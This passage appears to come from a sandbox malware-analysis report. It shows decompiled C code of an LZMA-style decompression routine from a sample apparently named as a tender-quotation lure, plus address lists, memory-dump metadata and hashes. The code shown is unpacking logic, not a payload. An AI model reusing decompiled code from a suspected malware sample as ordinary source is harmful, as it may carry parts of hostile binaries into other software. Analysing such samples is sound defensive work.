          													goto L170;
          												}
          												L121:
          												__eflags = __eax -  *(__ebp - 0x60);
          												if(__eax >  *(__ebp - 0x60)) {
          													goto L171;
          												}
          												L122:
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
          												__eax =  *(__ebp - 0x30);
          												_t400 = __ebp - 0x60;
          												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
          												__eflags =  *_t400;
          												goto L123;
          											}
          											L95:
          											__ecx = __ebx;
          											__eax = __ebx;
          											__ecx = __ebx >> 1;
          											__eax = __ebx & 0x00000001;
          											__ecx = (__ebx >> 1) - 1;
          											__al = __al | 0x00000002;
          											__eax = (__ebx & 0x00000001) << __cl;
          											__eflags = __ebx - 0xe;
          											 *(__ebp - 0x2c) = __eax;
          											if(__ebx >= 0xe) {
          												L97:
          												__ebx = 0;
          												 *(__ebp - 0x48) = __ecx;
          												L102:
          												__eflags =  *(__ebp - 0x48);
          												if( *(__ebp - 0x48) <= 0) {
          													L107:
          													__eax = __eax + __ebx;
          													 *(__ebp - 0x40) = 4;
          													 *(__ebp - 0x2c) = __eax;
          													__eax =  *(__ebp - 4);
          													__eax =  *(__ebp - 4) + 0x644;
          													__eflags = __eax;
          													L108:
          													__ebx = 0;
          													 *(__ebp - 0x58) = __eax;
          													 *(__ebp - 0x50) = 1;
          													 *(__ebp - 0x44) = 0;
          													 *(__ebp - 0x48) = 0;
          													L112:
          													__eax =  *(__ebp - 0x40);
          													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
          														L118:
          														_t391 = __ebp - 0x2c;
          														 *_t391 =  *(__ebp - 0x2c) + __ebx;
          														__eflags =  *_t391;
          														goto L119;
          													}
          													L113:
          													__eax =  *(__ebp - 0x50);
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          													__eax =  *(__ebp - 0x58);
          													__esi = __edi + __eax;
          													 *(__ebp - 0x54) = __esi;
          													__ax =  *__esi;
          													__ecx = __ax & 0x0000ffff;
          													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
          													__eflags =  *(__ebp - 0xc) - __edx;
          													if( *(__ebp - 0xc) >= __edx) {
          														__ecx = 0;
          														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
          														__ecx = 1;
          														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
          														__ebx = 1;
          														__ecx =  *(__ebp - 0x48);
          														__ebx = 1 << __cl;
          														__ecx = 1 << __cl;
          														__ebx =  *(__ebp - 0x44);
          														__ebx =  *(__ebp - 0x44) | __ecx;
          														__cx = __ax;
          														__cx = __ax >> 5;
          														__eax = __eax - __ecx;
          														__edi = __edi + 1;
          														__eflags = __edi;
          														 *(__ebp - 0x44) = __ebx;
          														 *__esi = __ax;
          														 *(__ebp - 0x50) = __edi;
          													} else {
          														 *(__ebp - 0x10) = __edx;
          														0x800 = 0x800 - __ecx;
          														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
          														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          														 *__esi = __dx;
          													}
          													__eflags =  *(__ebp - 0x10) - 0x1000000;
          													if( *(__ebp - 0x10) >= 0x1000000) {
          														L111:
          														_t368 = __ebp - 0x48;
          														 *_t368 =  *(__ebp - 0x48) + 1;
          														__eflags =  *_t368;
          														goto L112;
          													} else {
          														L117:
          														goto L109;
          													}
          												}
          												L103:
          												__ecx =  *(__ebp - 0xc);
          												__ebx = __ebx + __ebx;
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
          												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
          													__ecx =  *(__ebp - 0x10);
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          													__ebx = __ebx | 0x00000001;
          													__eflags = __ebx;
          													 *(__ebp - 0x44) = __ebx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													L101:
          													_t338 = __ebp - 0x48;
          													 *_t338 =  *(__ebp - 0x48) - 1;
          													__eflags =  *_t338;
          													goto L102;
          												} else {
          													L106:
          													goto L99;
          												}
          											}
          											L96:
          											__edx =  *(__ebp - 4);
          											__eax = __eax - __ebx;
          											 *(__ebp - 0x40) = __ecx;
          											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
          											goto L108;
          										case 0x1a:
          											L56:
          											__eflags =  *(__ebp - 0x64);
          											if( *(__ebp - 0x64) == 0) {
          												L162:
          												 *(__ebp - 0x88) = 0x1a;
          												goto L170;
          											}
          											L57:
          											__ecx =  *(__ebp - 0x68);
          											__al =  *(__ebp - 0x5c);
          											__edx =  *(__ebp - 8);
          											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          											 *( *(__ebp - 0x68)) = __al;
          											__ecx =  *(__ebp - 0x14);
          											 *(__ecx +  *(__ebp - 8)) = __al;
          											__eax = __ecx + 1;
          											__edx = 0;
          											_t192 = __eax %  *(__ebp - 0x74);
          											__eax = __eax /  *(__ebp - 0x74);
          											__edx = _t192;
          											goto L80;
          										case 0x1b:
          											L76:
          											__eflags =  *(__ebp - 0x64);
          											if( *(__ebp - 0x64) == 0) {
          												L163:
          												 *(__ebp - 0x88) = 0x1b;
          												goto L170;
          											}
          											L77:
          											__eax =  *(__ebp - 0x14);
          											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          											__eflags = __eax -  *(__ebp - 0x74);
          											if(__eax >=  *(__ebp - 0x74)) {
          												__eax = __eax +  *(__ebp - 0x74);
          												__eflags = __eax;
          											}
          											__edx =  *(__ebp - 8);
          											__cl =  *(__eax + __edx);
          											__eax =  *(__ebp - 0x14);
          											 *(__ebp - 0x5c) = __cl;
          											 *(__eax + __edx) = __cl;
          											__eax = __eax + 1;
          											__edx = 0;
          											_t275 = __eax %  *(__ebp - 0x74);
          											__eax = __eax /  *(__ebp - 0x74);
          											__edx = _t275;
          											__eax =  *(__ebp - 0x68);
          											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          											_t284 = __ebp - 0x64;
          											 *_t284 =  *(__ebp - 0x64) - 1;
          											__eflags =  *_t284;
          											 *( *(__ebp - 0x68)) = __cl;
          											L80:
          											 *(__ebp - 0x14) = __edx;
          											goto L81;
          										case 0x1c:
          											while(1) {
          												L123:
          												__eflags =  *(__ebp - 0x64);
          												if( *(__ebp - 0x64) == 0) {
          													break;
          												}
          												L124:
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__edx =  *(__ebp - 8);
          												__cl =  *(__eax + __edx);
          												__eax =  *(__ebp - 0x14);
          												 *(__ebp - 0x5c) = __cl;
          												 *(__eax + __edx) = __cl;
          												__eax = __eax + 1;
          												__edx = 0;
          												_t414 = __eax %  *(__ebp - 0x74);
          												__eax = __eax /  *(__ebp - 0x74);
          												__edx = _t414;
          												__eax =  *(__ebp - 0x68);
          												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
          												__eflags =  *(__ebp - 0x30);
          												 *( *(__ebp - 0x68)) = __cl;
          												 *(__ebp - 0x14) = _t414;
          												if( *(__ebp - 0x30) > 0) {
          													continue;
          												} else {
          													L127:
          													L81:
          													 *(__ebp - 0x88) = 2;
          													goto L1;
          												}
          											}
          											L167:
          											 *(__ebp - 0x88) = 0x1c;
          											goto L170;
          									}
          								}
          								L171:
          								_t539 = _t538 | 0xffffffff;
          								goto L172;
          							}
          						}
          					}
          				}
          			}















          0x00407194
          0x00407194
          0x00407194
          0x00407194
          0x0040719a
          0x0040719e
          0x004071a2
          0x004071ac
          0x004071ba
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x004074c7
          0x004074c7
          0x004074cb
          0x00000000
          0x00000000
          0x004074cd
          0x004074d6
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074ee
          0x00407507
          0x0040750a
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074ff
          0x00407502
          0x00407502
          0x00407524
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c7
          0x004074cb
          0x00000000
          0x00000000
          0x00000000
          0x00407526
          0x00407526
          0x0040749f
          0x004074a3
          0x004075db
          0x004075db
          0x004075e5
          0x004075ed
          0x004075f4
          0x004075f6
          0x004075fd
          0x00407601
          0x00407601
          0x004074a9
          0x004074af
          0x004074b6
          0x004074be
          0x004074be
          0x004074c1
          0x00000000
          0x004074c1
          0x0040752b
          0x00407538
          0x0040753b
          0x00407447
          0x00407447
          0x00407447
          0x00406be3
          0x00406be3
          0x00406be3
          0x00406bec
          0x00000000
          0x00000000
          0x00406bf2
          0x00406bf2
          0x00000000
          0x00406bf9
          0x00406bfd
          0x00000000
          0x00000000
          0x00406c03
          0x00406c06
          0x00406c09
          0x00406c0c
          0x00406c10
          0x00000000
          0x00000000
          0x00406c16
          0x00406c16
          0x00406c19
          0x00406c1b
          0x00406c1c
          0x00406c1f
          0x00406c21
          0x00406c22
          0x00406c24
          0x00406c27
          0x00406c2c
          0x00406c31
          0x00406c3a
          0x00406c4d
          0x00406c50
          0x00406c5c
          0x00406c84
          0x00406c86
          0x00406c94
          0x00406c94
          0x00406c98
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406c88
          0x00406c88
          0x00406c8b
          0x00406c8c
          0x00406c8c
          0x00000000
          0x00406c88
          0x00406c5e
          0x00406c62
          0x00406c67
          0x00406c67
          0x00406c70
          0x00406c78
          0x00406c7b
          0x00000000
          0x00406c81
          0x00406c81
          0x00000000
          0x00406c81
          0x00000000
          0x00406c9e
          0x00406c9e
          0x00406ca2
          0x0040754e
          0x0040754e
          0x00000000
          0x0040754e
          0x00406ca8
          0x00406cab
          0x00406cbb
          0x00406cbe
          0x00406cc1
          0x00406cc1
          0x00406cc1
          0x00406cc4
          0x00406cc8
          0x00000000
          0x00000000
          0x00406cca
          0x00406cca
          0x00406cd0
          0x00406cfa
          0x00406d00
          0x00406d07
          0x00000000
          0x00406d07
          0x00406cd2
          0x00406cd6
          0x00406cd9
          0x00406cde
          0x00406cde
          0x00406ce9
          0x00406cf1
          0x00406cf4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d39
          0x00406d3f
          0x00406d42
          0x00406d4f
          0x00406d57
          0x00000000
          0x00000000
          0x00406d0e
          0x00406d0e
          0x00406d12
          0x0040755d
          0x0040755d
          0x00000000
          0x0040755d
          0x00406d18
          0x00406d1e
          0x00406d29
          0x00406d29
          0x00406d29
          0x00406d2c
          0x00406d2f
          0x00406d32
          0x00406d37
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040741c
          0x00407420
          0x004075cf
          0x004075cf
          0x00000000
          0x004075cf
          0x00407426
          0x0040742c
          0x00407433
          0x0040743b
          0x0040743e
          0x00407441
          0x00407441
          0x00407447
          0x00407447
          0x00000000
          0x00000000
          0x00406d5f
          0x00406d5f
          0x00406d61
          0x00406d64
          0x00406dd5
          0x00406dd5
          0x00406dd8
          0x00406ddb
          0x00406de2
          0x00406dec
          0x00000000
          0x00406dec
          0x00406d66
          0x00406d66
          0x00406d6a
          0x00406d6d
          0x00406d6f
          0x00406d72
          0x00406d75
          0x00406d77
          0x00406d7a
          0x00406d7c
          0x00406d81
          0x00406d84
          0x00406d87
          0x00406d8b
          0x00406d92
          0x00406d95
          0x00406d9c
          0x00406da0
          0x00406da8
          0x00406da8
          0x00406da8
          0x00406da2
          0x00406da2
          0x00406da2
          0x00406d97
          0x00406d97
          0x00406d97
          0x00406dac
          0x00406daf
          0x00406dcd
          0x00406dcd
          0x00406dcf
          0x00000000
          0x00406db1
          0x00406db1
          0x00406db1
          0x00406db4
          0x00406db7
          0x00406dba
          0x00406dbc
          0x00406dbc
          0x00406dbc
          0x00406dbf
          0x00406dc2
          0x00406dc4
          0x00406dc5
          0x00406dc8
          0x00000000
          0x00406dc8
          0x00000000
          0x00406ffe
          0x00406ffe
          0x00407002
          0x00407020
          0x00407020
          0x00407023
          0x0040702a
          0x0040702d
          0x00407030
          0x00407033
          0x00407036
          0x00407039
          0x0040703b
          0x00407042
          0x00407043
          0x00407045
          0x00407048
          0x0040704b
          0x0040704e
          0x0040704e
          0x00407053
          0x00000000
          0x00407053
          0x00407004
          0x00407004
          0x00407007
          0x0040700a
          0x00407014
          0x00000000
          0x00000000
          0x00407068
          0x00407068
          0x0040706c
          0x0040708f
          0x00407092
          0x00407095
          0x0040709f
          0x0040706e
          0x0040706e
          0x00407071
          0x00407074
          0x00407077
          0x00407084
          0x00407087
          0x00407087
          0x00000000
          0x00000000
          0x004070ab
          0x004070ab
          0x004070af
          0x00000000
          0x00000000
          0x004070b5
          0x004070b5
          0x004070b9
          0x00000000
          0x00000000
          0x004070bf
          0x004070bf
          0x004070c1
          0x004070c5
          0x004070c5
          0x004070c8
          0x004070cc
          0x00000000
          0x00000000
          0x0040711c
          0x0040711c
          0x00407120
          0x00407127
          0x00407127
          0x0040712a
          0x0040712d
          0x00407137
          0x00000000
          0x00407137
          0x00407122
          0x00407122
          0x00000000
          0x00000000
          0x00407143
          0x00407143
          0x00407147
          0x0040714e
          0x00407151
          0x00407154
          0x00407149
          0x00407149
          0x00407149
          0x00407157
          0x0040715a
          0x0040715d
          0x0040715d
          0x00407160
          0x00407163
          0x00407166
          0x00407166
          0x00407169
          0x00407170
          0x00407175
          0x00000000
          0x00000000
          0x00407203
          0x00407203
          0x00407207
          0x004075a5
          0x004075a5
          0x00000000
          0x004075a5
          0x0040720d
          0x0040720d
          0x00407210
          0x00407213
          0x00407217
          0x0040721a
          0x00407220
          0x00407222
          0x00407222
          0x00407222
          0x00407225
          0x00407228
          0x00000000
          0x00000000
          0x00406df8
          0x00406df8
          0x00406dfc
          0x00407569
          0x00407569
          0x00000000
          0x00407569
          0x00406e02
          0x00406e02
          0x00406e05
          0x00406e08
          0x00406e0c
          0x00406e0f
          0x00406e15
          0x00406e17
          0x00406e17
          0x00406e17
          0x00406e1a
          0x00406e1d
          0x00406e1d
          0x00406e20
          0x00406e23
          0x00000000
          0x00000000
          0x00406e29
          0x00406e29
          0x00406e2f
          0x00000000
          0x00000000
          0x00406e35
          0x00406e35
          0x00406e39
          0x00406e3c
          0x00406e3f
          0x00406e42
          0x00406e45
          0x00406e46
          0x00406e49
          0x00406e4b
          0x00406e51
          0x00406e54
          0x00406e57
          0x00406e5a
          0x00406e5d
          0x00406e60
          0x00406e63
          0x00406e7f
          0x00406e82
          0x00406e85
          0x00406e88
          0x00406e8f
          0x00406e93
          0x00406e95
          0x00406e99
          0x00406e65
          0x00406e65
          0x00406e69
          0x00406e71
          0x00406e76
          0x00406e78
          0x00406e7a
          0x00406e7a
          0x00406e9c
          0x00406ea3
          0x00406ea6
          0x00000000
          0x00406eac
          0x00406eac
          0x00000000
          0x00406eac
          0x00000000
          0x00406eb1
          0x00406eb1
          0x00406eb5
          0x00407575
          0x00407575
          0x00000000
          0x00407575
          0x00406ebb
          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed6
          0x00406ed6
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406ef9
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f24
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f29
          0x00406f30
          0x00406f33
          0x00000000
          0x00406f35
          0x00406f35
          0x00000000
          0x00406f35
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00000000
          0x00000000
          0x00406f75
          0x00406f75
          0x00406f79
          0x00407581
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f94
          0x00406f97
          0x00406f9a
          0x00406f9a
          0x00406fa0
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00000000
          0x00406f41
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fbd
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fe8
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406fed
          0x00406ff4
          0x00406ff7
          0x00000000
          0x00406ff9
          0x00406ff9
          0x00000000
          0x00406ff9
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00407056
          0x00407056
          0x00407059
          0x00000000
          0x00000000
          0x00407395
          0x00407395
          0x00407399
          0x004073bb
          0x004073bb
          0x004073be
          0x004073c8
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x0040739b
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a5
          0x004073a8
          0x00000000
          0x00000000
          0x00407452
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00407489
          0x00407489
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x0040749d
          0x00407458
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x004073ac
          0x004073ac
          0x004073af
          0x00000000
          0x00000000
          0x00407543
          0x00407543
          0x00407546
          0x00407447
          0x00407447
          0x00407447
          0x00000000
          0x0040744d
          0x00000000
          0x0040717d
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x0040749d
          0x00000000
          0x00000000
          0x00000000
          0x004071c2
          0x004071c2
          0x004071c5
          0x004071fb
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725b
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00406f44
          0x00406f44
          0x00406f48
          0x0040758d
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x00000000
          0x00000000
          0x004070cf
          0x004070cf
          0x004070d3
          0x00407599
          0x00407599
          0x00000000
          0x00407599
          0x004070d9
          0x004070d9
          0x004070dc
          0x004070df
          0x004070e2
          0x004070e4
          0x004070e4
          0x004070e4
          0x004070e7
          0x004070ea
          0x004070ed
          0x004070f0
          0x004070f3
          0x004070f6
          0x004070f7
          0x004070f9
          0x004070f9
          0x004070f9
          0x004070fc
          0x004070ff
          0x00407102
          0x00407105
          0x00407105
          0x00407105
          0x00407108
          0x0040710a
          0x0040710a
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x00407390
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x0040738e
          0x004075c3
          0x004075c3
          0x00000000
          0x00000000
          0x00406bf2
          0x004075fa
          0x004075fa
          0x00000000
          0x004075fa
          0x00407447
          0x004074c7
          0x00407490

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
          • Instruction ID: 10cc2cc0f2c892254e5285b7a8bac4c216a70fda8fb68dfa7c3680dd08f727d3
          • Opcode Fuzzy Hash: 9f3cc98df1e3ecd253cf91825a4064c55af45d063240f038e3dc270cc3f81a7c
          • Instruction Fuzzy Hash: 55A15571E04228DBDF28CFA8C8547ADBBB1FF44305F10842AD856BB281D778A986DF45
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 98%
          			E00407395() {
          				void _t533;
          				signed int _t534;
          				signed int _t535;
          				signed int* _t605;
          				void* _t612;
          
          				L0:
          				while(1) {
          					L0:
          					if( *(_t612 - 0x40) != 0) {
          						 *(_t612 - 0x84) = 0x13;
          						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
          						goto L132;
          					} else {
          						__eax =  *(__ebp - 0x4c);
          						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
          						__ecx =  *(__ebp - 0x58);
          						__eax =  *(__ebp - 0x4c) << 4;
          						__eax =  *(__ebp - 0x58) + __eax + 4;
          						L130:
          						 *(__ebp - 0x58) = __eax;
          						 *(__ebp - 0x40) = 3;
          						L144:
          						 *(__ebp - 0x7c) = 0x14;
          						L145:
          						__eax =  *(__ebp - 0x40);
          						 *(__ebp - 0x50) = 1;
          						 *(__ebp - 0x48) =  *(__ebp - 0x40);
          						L149:
          						if( *(__ebp - 0x48) <= 0) {
          							__ecx =  *(__ebp - 0x40);
          							__ebx =  *(__ebp - 0x50);
          							0 = 1;
          							__eax = 1 << __cl;
          							__ebx =  *(__ebp - 0x50) - (1 << __cl);
          							__eax =  *(__ebp - 0x7c);
          							 *(__ebp - 0x44) = __ebx;
          							while(1) {
          								L140:
          								 *(_t612 - 0x88) = _t533;
          								while(1) {
          									L1:
          									_t534 =  *(_t612 - 0x88);
          									if(_t534 > 0x1c) {
          										break;
          									}
          									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
          										case 0:
          											if( *(_t612 - 0x6c) == 0) {
          												goto L170;
          											}
          											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
          											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
          											_t534 =  *( *(_t612 - 0x70));
          											if(_t534 > 0xe1) {
          												goto L171;
          											}
          											_t538 = _t534 & 0x000000ff;
          											_push(0x2d);
          											asm("cdq");
          											_pop(_t569);
          											_push(9);
          											_pop(_t570);
          											_t608 = _t538 / _t569;
          											_t540 = _t538 % _t569 & 0x000000ff;
          											asm("cdq");
          											_t603 = _t540 % _t570 & 0x000000ff;
          											 *(_t612 - 0x3c) = _t603;
          											 *(_t612 - 0x1c) = (1 << _t608) - 1;
          											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
          											_t611 = (0x300 << _t603 + _t608) + 0x736;
          											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
          												L10:
          												if(_t611 == 0) {
          													L12:
          													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
          													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
          													goto L15;
          												} else {
          													goto L11;
          												}
          												do {
          													L11:
          													_t611 = _t611 - 1;
          													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
          												} while (_t611 != 0);
          												goto L12;
          											}
          											if( *(_t612 - 4) != 0) {
          												GlobalFree( *(_t612 - 4));
          											}
          											_t534 = GlobalAlloc(0x40, 0x600); // executed
          											 *(_t612 - 4) = _t534;
          											if(_t534 == 0) {
          												goto L171;
          											} else {
          												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
          												goto L10;
          											}
          										case 1:
          											L13:
          											__eflags =  *(_t612 - 0x6c);
          											if( *(_t612 - 0x6c) == 0) {
          												 *(_t612 - 0x88) = 1;
          												goto L170;
          											}
          											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
          											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
          											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
          											_t45 = _t612 - 0x48;
          											 *_t45 =  *(_t612 - 0x48) + 1;
          											__eflags =  *_t45;
          											L15:
          											if( *(_t612 - 0x48) < 4) {
          												goto L13;
          											}
          											_t546 =  *(_t612 - 0x40);
          											if(_t546 ==  *(_t612 - 0x74)) {
          												L20:
          												 *(_t612 - 0x48) = 5;
          												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
          												goto L23;
          											}
          											 *(_t612 - 0x74) = _t546;
          											if( *(_t612 - 8) != 0) {
          												GlobalFree( *(_t612 - 8));
          											}
          											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
          											 *(_t612 - 8) = _t534;
          											if(_t534 == 0) {
